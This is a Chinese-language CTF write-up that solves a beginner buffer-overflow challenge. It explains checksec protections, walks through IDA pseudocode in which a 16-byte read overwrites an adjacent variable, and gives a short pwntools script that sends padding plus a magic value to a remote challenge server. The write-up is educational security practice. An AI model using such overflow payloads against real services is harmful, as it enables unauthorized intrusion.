checksec检查程序保护机制:
2021-06-26_123723.png

checksec可以检查程序保护机制,从而查看题目开启了哪些保护机制,有助于对题目的初步分析。

  • Arch:程序位数(查看是多少位的程序,比如32或64位),也可以查看是哪个微处理器,比如i386为32位微处理器,amd64为64位微处理器(x86架构的延伸产品,称为x86-64,后改名为AMD64);
  • RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELEO为"Partial RELRO",说明我们对GOT表有写权限。
  • Stack:栈溢出监测,查看程序是否开启了Canary防护(一种对函数栈的监测保护:还没等到栈溢出,先返回canary word,从而监测栈溢出情况)。
  • NX :No-eXecute(不可执行),相等于windows的DEP(数据执行保护),就是将攻击者构造的payload和shellcode(一般为系统远程执行命令)所在的内存页标识为不可执行,当攻击代码想要以数据代码伪装成可执行代码时,就会被检测到,从而使CPU抛出异常,从而不执行恶意指令。
  • PIE:内存地址空间分布随机化(ASLR:address space layout randomization)
    根据图片结果可以得知,该题是一个64位的程序,没有开启RELRO,没有开启栈溢出检测,开启了NX,没有开启内存地址空间分布随机化

把题目文件拖进IDA中查看伪代码:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}

alarm(0x3Cu);alarm()中的参数0x3Cu是十六进制无符号数,即十进制对应60,所以该函数的作用是在程序运行60秒后,给进程发送SIGALRM信号,如果不另编写程序接受处理此信号,则默认结束此程序。
setbuf(stdout, 0LL);:是重置输出流,要么在网络传输中会传不出去。(本地加不加没区别
read(0, &unk_601068, 0x10uLL);:read()可以读取数据,第一个参数为0,代表标准输入,第三个参数是输入的个数是0x10,即16个字节。就是从0x601068开始往后读取16个字节。
sub_400686()直接可以查看flag.txt文件:

__int64 sub_400686()
{
  system("cat flag.txt");
  return 0LL;
}

所以要想拿到flag,必须要让dword_60106C == 1853186401
因为能够利用unk_601068的读取数据,所以可以让数据溢出到dword_60106C,给dword_60106C赋值为0x6e756161,即可得到flag。
0x601068-0x60106c=0x4,看图也能看出来,缓冲区地址和目标地址之间的内存空间大小0x4。向其中填满脏数据即可。
2021-06-26_131415.png

from pwn import *
p = remote('111.200.241.244', 64306)

payload=0x4*'c'+p64(1853186401) #p64就是将一个数字转换为字符。
p.sendline(payload)
p.interactive()